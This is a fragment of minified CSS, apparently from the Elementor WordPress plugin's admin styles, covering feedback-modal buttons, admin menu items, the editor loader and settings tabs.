.e-primary.dialog-button.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit:focus,#elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit:hover,#elementor-deactivate-feedback-modal .e-btn.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .e-btn.dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .e-btn.e-btn-txt.dialog-submit:focus,#elementor-deactivate-feedback-modal .e-btn.e-btn-txt.dialog-submit:hover,#elementor-deactivate-feedback-modal .e-btn.e-primary.dialog-skip:focus,#elementor-deactivate-feedback-modal .e-btn.e-primary.dialog-skip:hover,#elementor-deactivate-feedback-modal .e-primary.dialog-skip:focus,#elementor-deactivate-feedback-modal .e-primary.dialog-skip:hover,#elementor-deactivate-feedback-modal .e-primary.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .e-primary.dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .e-primary.e-btn-txt.dialog-skip:focus,#elementor-deactivate-feedback-modal .e-primary.e-btn-txt.dialog-skip:hover,#elementor-deactivate-feedback-modal .e-primary.e-btn-txt.dialog-submit:focus,#elementor-deactivate-feedback-modal .e-primary.e-btn-txt.dialog-submit:hover,#elementor-deactivate-feedback-modal .elementor-button.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .elementor-button.dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .elementor-button.e-btn-txt.dialog-submit:focus,#elementor-deactivate-feedback-modal .elementor-button.e-btn-txt.dialog-submit:hover,#elementor-deactivate-feedback-modal .elementor-button.e-primary.dialog-skip:focus,#elementor-deactivate-feedback-modal .elementor-button.e-primary.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-submit:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-submit.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-submit.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-submit.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-submit.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-submit:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-cancel.dialog-submit:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-cancel.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-ok.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-ok.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-take_over.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-take_over.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-submit:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-cancel.dialog-submit:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-cancel.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-ok.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-ok.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-take_over.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-take_over.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:hover,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-submit:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-submit:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-submit.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-submit.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-submit.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-submit.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-submit:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-submit:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-cancel.dialog-submit:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-cancel.dialog-submit:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-ok.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-ok.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-take_over.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-take_over.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-submit:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-submit:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-cancel.dialog-submit:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-cancel.dialog-submit:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-ok.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-ok.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-take_over.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-take_over.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:hover,.e-btn.e-primary.e-btn-txt:focus,.e-btn.e-primary.e-btn-txt:hover,.elementor-button.e-primary.e-btn-txt:focus,.elementor-button.e-primary.e-btn-txt:hover{background:var(--e-a-bg-primary)}#elementor-deactivate-feedback-modal .e-accent.dialog-skip,#elementor-deactivate-feedback-modal .e-accent.dialog-submit,#elementor-deactivate-feedback-modal .go-pro.dialog-skip,#elementor-deactivate-feedback-modal .go-pro.dialog-submit,.e-btn.e-accent,.e-btn.go-pro,.elementor-button.e-accent,.elementor-button.go-pro{background-color:var(--e-a-btn-bg-accent)}#elementor-deactivate-feedback-modal .e-accent.dialog-skip:focus,#elementor-deactivate-feedback-modal .e-accent.dialog-skip:hover,#elementor-deactivate-feedback-modal .e-accent.dialog-submit:focus,#elementor-deactivate-feedback-modal .e-accent.dialog-submit:hover,#elementor-deactivate-feedback-modal .go-pro.dialog-skip:focus,#elementor-deactivate-feedback-modal .go-pro.dialog-skip:hover,#elementor-deactivate-feedback-modal .go-pro.dialog-submit:focus,#elementor-deactivate-feedback-modal .go-pro.dialog-submit:hover,.e-btn.e-accent:focus,.e-btn.e-accent:hover,.e-btn.go-pro:focus,.e-btn.go-pro:hover,.elementor-button.e-accent:focus,.elementor-button.e-accent:hover,.elementor-button.go-pro:focus,.elementor-button.go-pro:hover{background-color:var(--e-a-btn-bg-accent-hover)}#elementor-deactivate-feedback-modal .e-accent.dialog-skip:active,#elementor-deactivate-feedback-modal .e-accent.dialog-submit:active,#elementor-deactivate-feedback-modal .go-pro.dialog-skip:active,#elementor-deactivate-feedback-modal .go-pro.dialog-submit:active,.e-btn.e-accent:active,.e-btn.go-pro:active,.elementor-button.e-accent:active,.elementor-button.go-pro:active{background-color:var(--e-a-btn-bg-accent-active)}#elementor-deactivate-feedback-modal .e-info.dialog-skip,#elementor-deactivate-feedback-modal .e-info.dialog-submit,#elementor-deactivate-feedback-modal .elementor-button-info.dialog-skip,#elementor-deactivate-feedback-modal .elementor-button-info.dialog-submit,.e-btn.e-info,.e-btn.elementor-button-info,.elementor-button.e-info,.elementor-button.elementor-button-info{background-color:var(--e-a-btn-bg-info)}#elementor-deactivate-feedback-modal .e-info.dialog-skip:focus,#elementor-deactivate-feedback-modal .e-info.dialog-skip:hover,#elementor-deactivate-feedback-modal .e-info.dialog-submit:focus,#elementor-deactivate-feedback-modal .e-info.dialog-submit:hover,#elementor-deactivate-feedback-modal .elementor-button-info.dialog-skip:focus,#elementor-deactivate-feedback-modal .elementor-button-info.dialog-skip:hover,#elementor-deactivate-feedback-modal .elementor-button-info.dialog-submit:focus,#elementor-deactivate-feedback-modal .elementor-button-info.dialog-submit:hover,.e-btn.e-info:focus,.e-btn.e-info:hover,.e-btn.elementor-button-info:focus,.e-btn.elementor-button-info:hover,.elementor-button.e-info:focus,.elementor-button.e-info:hover,.elementor-button.elementor-button-info:focus,.elementor-button.elementor-button-info:hover{background-color:var(--e-a-btn-bg-info-hover)}#elementor-deactivate-feedback-modal .e-warning.dialog-skip,#elementor-deactivate-feedback-modal .e-warning.dialog-submit,#elementor-deactivate-feedback-modal .elementor-button-warning.dialog-skip,#elementor-deactivate-feedback-modal .elementor-button-warning.dialog-submit,.e-btn.e-warning,.e-btn.elementor-button-warning,.elementor-button.e-warning,.elementor-button.elementor-button-warning{background-color:var(--e-a-btn-bg-warning)}#elementor-deactivate-feedback-modal .e-warning.dialog-skip:focus,#elementor-deactivate-feedback-modal .e-warning.dialog-skip:hover,#elementor-deactivate-feedback-modal .e-warning.dialog-submit:focus,#elementor-deactivate-feedback-modal .e-warning.dialog-submit:hover,#elementor-deactivate-feedback-modal .elementor-button-warning.dialog-skip:focus,#elementor-deactivate-feedback-modal .elementor-button-warning.dialog-skip:hover,#elementor-deactivate-feedback-modal .elementor-button-warning.dialog-submit:focus,#elementor-deactivate-feedback-modal .elementor-button-warning.dialog-submit:hover,.e-btn.e-warning:focus,.e-btn.e-warning:hover,.e-btn.elementor-button-warning:focus,.e-btn.elementor-button-warning:hover,.elementor-button.e-warning:focus,.elementor-button.e-warning:hover,.elementor-button.elementor-button-warning:focus,.elementor-button.elementor-button-warning:hover{background-color:var(--e-a-btn-bg-warning-hover)}#elementor-deactivate-feedback-modal .e-danger.dialog-skip,#elementor-deactivate-feedback-modal .e-danger.dialog-submit,#elementor-deactivate-feedback-modal .elementor-button-danger.dialog-skip,#elementor-deactivate-feedback-modal .elementor-button-danger.dialog-submit,.e-btn.e-danger,.e-btn.elementor-button-danger,.elementor-button.e-danger,.elementor-button.elementor-button-danger{background-color:var(--e-a-btn-bg-danger)}#elementor-deactivate-feedback-modal .e-danger.dialog-skip:focus,#elementor-deactivate-feedback-modal .e-danger.dialog-skip:hover,#elementor-deactivate-feedback-modal .e-danger.dialog-submit:focus,#elementor-deactivate-feedback-modal .e-danger.dialog-submit:hover,#elementor-deactivate-feedback-modal .elementor-button-danger.dialog-skip:focus,#elementor-deactivate-feedback-modal .elementor-button-danger.dialog-skip:hover,#elementor-deactivate-feedback-modal .elementor-button-danger.dialog-submit:focus,#elementor-deactivate-feedback-modal .elementor-button-danger.dialog-submit:hover,.e-btn.e-danger:focus,.e-btn.e-danger:hover,.e-btn.elementor-button-danger:focus,.e-btn.elementor-button-danger:hover,.elementor-button.e-danger:focus,.elementor-button.e-danger:hover,.elementor-button.elementor-button-danger:focus,.elementor-button.elementor-button-danger:hover{background-color:var(--e-a-btn-bg-danger-hover)}#elementor-deactivate-feedback-modal .dialog-skip i,#elementor-deactivate-feedback-modal .dialog-submit i,.e-btn i,.elementor-button i{margin-inline-end:5px}#adminmenu #toplevel_page_elementor div.wp-menu-image:before{content:"\e813";font-family:eicons;font-size:18px;margin-block-start:1px}#adminmenu #toplevel_page_elementor a[href="admin.php?page=go_elementor_pro"]{font-weight:600;background-color:#93003f;color:#fff;margin:3px 10px 0;display:block;text-align:center;border-radius:3px;transition:all .3s}#adminmenu #toplevel_page_elementor a[href="admin.php?page=go_elementor_pro"]:focus,#adminmenu #toplevel_page_elementor a[href="admin.php?page=go_elementor_pro"]:hover{background-color:#c60055;box-shadow:none}#adminmenu #menu-posts-elementor_library .wp-menu-image:before{content:"\e8ff";font-family:eicons;font-size:18px}#e-admin-menu__kit-library{color:#5cb85c}.elementor-plugins-gopro{color:#93003f;font-weight:700}.elementor-plugins-gopro:focus,.elementor-plugins-gopro:hover{color:#c60055}#elementor-switch-mode{margin:15px 0}#elementor-editor-button,#elementor-switch-mode-button{outline:none;cursor:pointer}#elementor-editor-button i,#elementor-switch-mode-button i{margin-inline-end:3px;font-size:125%;font-style:normal}body.elementor-editor-active .elementor-switch-mode-off{display:none}body.elementor-editor-active #elementor-switch-mode-button{background-color:#f7f7f7;color:#555;border-color:#ccc;box-shadow:0 1px 0 #ccc!important;text-shadow:unset}body.elementor-editor-active #elementor-switch-mode-button:hover{background-color:#e9e9e9}body.elementor-editor-active #elementor-switch-mode-button:active{box-shadow:inset 0 1px 0 #ccc;transform:translateY(1px)}body.elementor-editor-active #postdivrich{display:none!important}body.elementor-editor-active .block-editor-block-list__layout,body.elementor-editor-active .editor-block-list__layout,body.elementor-editor-inactive #elementor-editor,body.elementor-editor-inactive .elementor-switch-mode-on{display:none}body.elementor-editor-active .edit-post-layout__content .edit-post-visual-editor{flex-basis:auto}body.elementor-editor-active #elementor-editor{margin-block-end:50px}body.elementor-editor-active .edit-post-text-editor__body .editor-post-text-editor{display:none}body.elementor-editor-active :is(.is-desktop-preview,.is-tablet-preview,.is-mobile-preview) :is(.editor-styles-wrapper,iframe[name=editor-canvas]){height:auto!important;padding:0!important;flex:0!important}body .block-editor #elementor-switch-mode{margin:0 15px}body .block-editor #elementor-switch-mode .button{margin:2px;height:33px;font-size:13px;line-height:1}body .block-editor #elementor-switch-mode .button i{padding-inline-end:5px}.elementor-button{font-size:13px;text-decoration:none;padding:15px 40px}#elementor-editor{height:300px;width:100%;transition:all .5s ease}#elementor-editor .elementor-loader-wrapper{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);width:300px;display:flex;flex-direction:column;align-items:center;gap:30px}#elementor-editor .elementor-loader{border-radius:50%;padding:40px;height:150px;width:150px;background-color:var(--e-a-bg-active);box-sizing:border-box;box-shadow:2px 2px 20px 4px rgba(0,0,0,.02)}#elementor-editor .elementor-loader-boxes{height:100%;width:100%;position:relative}#elementor-editor .elementor-loader-box{position:absolute;background-color:var(--e-a-color-txt-hover);animation:load 1.8s linear infinite}#elementor-editor .elementor-loader-box:first-of-type{width:20%;height:100%;left:0;top:0}#elementor-editor .elementor-loader-box:not(:first-of-type){right:0;height:20%;width:60%}#elementor-editor .elementor-loader-box:nth-of-type(2){top:0;animation-delay:calc(1.8s / 4 * -1)}#elementor-editor .elementor-loader-box:nth-of-type(3){top:40%;animation-delay:calc(1.8s / 4 * -2)}#elementor-editor .elementor-loader-box:nth-of-type(4){bottom:0;animation-delay:calc(1.8s / 4 * -3)}#elementor-editor .elementor-loading-title{color:var(--e-a-color-txt);text-align:center;text-transform:uppercase;letter-spacing:7px;text-indent:7px;font-size:10px;width:100%}#elementor-go-to-edit-page-link{height:100%;display:flex;justify-content:center;align-items:center;border:1px solid #ddd;background-color:#f7f7f7;text-decoration:none;position:relative;font-family:Sans-serif}#elementor-go-to-edit-page-link:hover{background-color:#fff}#elementor-go-to-edit-page-link:focus{box-shadow:none}#elementor-go-to-edit-page-link.elementor-animate #elementor-editor-button,#elementor-go-to-edit-page-link:not(.elementor-animate) .elementor-loader-wrapper{display:none}.elementor-button-spinner:before{font:normal 20px/.5 dashicons;speak:none;display:inline-block;padding:0;inset-block-start:8px;inset-inline-start:-4px;position:relative;vertical-align:top;content:"\f463"}.elementor-button-spinner.loading:before{animation:rotation 1s linear infinite}.elementor-button-spinner.success:before{content:"\f147";color:#46b450}.elementor-blank_state{padding:5em 0;margin:auto;max-width:520px;text-align:center;font-family:var(--e-a-font-family)}.elementor-blank_state i{font-size:50px}.elementor-blank_state h3{font-size:32px;font-weight:300;color:inherit;margin:20px 0 10px;line-height:1.2}.elementor-blank_state p{font-size:16px;font-weight:400;margin-block-end:40px}.elementor-blank_state .elementor-button{display:inline-block}#available-widgets [class*=elementor-template] .widget-title:before{content:"\e813";font-family:eicons;font-size:17px}.elementor-settings-form-page{padding-block-start:30px}._elementor_settings_update_time,.elementor-settings-form-page:not(.elementor-active){display:none}#tab-advanced .form-table tr:not(:last-child),#tab-experiments .form-table tr:not(:last-child),#tab-performance .form-table tr:not(:last-child){border-block-end:1px solid #dcdcde}#tab-advanced .form-table tr .description,#tab-experiments .form-table tr .description,#tab-performance .form-table tr 